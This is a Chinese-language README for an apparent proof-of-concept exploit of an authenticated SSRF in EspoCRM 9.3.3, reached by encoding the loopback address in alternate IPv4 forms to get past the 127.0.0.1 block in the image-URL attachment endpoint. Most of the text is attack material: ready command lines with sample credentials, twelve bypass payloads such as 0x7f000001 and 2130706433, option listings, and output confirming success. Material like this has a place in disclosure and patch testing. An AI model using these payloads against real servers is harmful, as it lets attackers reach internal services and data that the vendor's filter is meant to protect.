针对 EspoCRM 9.3.3 中 /api/v1/Attachment/fromImageUrl 端点通过替代 IPv4 环回表示法实现认证后 SSRF 的概念验证。
EspoCRM 9.3.3 会阻止诸如 http://127.0.0.1/... 之类的直接环回 URL,但服务端获取路径接受 cURL 会将其规范化为环回的替代 IPv4 表示形式。这使得有权访问受影响附件/图片上传流程的认证用户能够使 EspoCRM 服务器获取内部资源。
该漏洞利用首先提交一个直接的 127.0.0.1 控制请求,并预期其被 HTTP 403 阻止。随后测试多种编码的环回载荷,并报告哪些载荷生成了存储的附件。
requests安装依赖:
python3 -m pip install requests
针对运行在端口 8083 上的 EspoCRM 实例进行基本本地验证:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
测试自定义端口和路径上的内部服务:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
仅使用自定义载荷:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
该漏洞利用默认测试以下环回主机表示形式:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
支持自定义载荷文件。每行可以是以下任一格式:
host
label=host
示例:
hex-dword=0x7f000001
decimal-dword=2130706433
运行方式:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url 基础 EspoCRM URL
-U, --username EspoCRM 用户名
-P, --password EspoCRM 密码
--internal-port 要获取的内部环回端口
--internal-path 要获取的内部路径
--payload 额外的环回主机表示法
--payload-file 每行包含一个主机载荷的文件
--no-default-payloads 仅使用自定义载荷
--field 附件字段,默认:avatar
--parent-type 父实体类型,默认:User
--parent-id 可选的父实体 ID
--cleanup 删除成功载荷创建的附件
--stop-on-first 在第一个成功绕过时停止
--insecure 禁用 TLS 证书验证
成功利用会显示直接环回控制被阻止,且一个或多个编码载荷被接受:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg。如需针对其他内部服务,请调整 --internal-port 和 --internal-path。User.avatar;如果测试账户需要不同的上传上下文,请使用 --field、--parent-type 和 --parent-id。--cleanup 可自动删除创建的附件。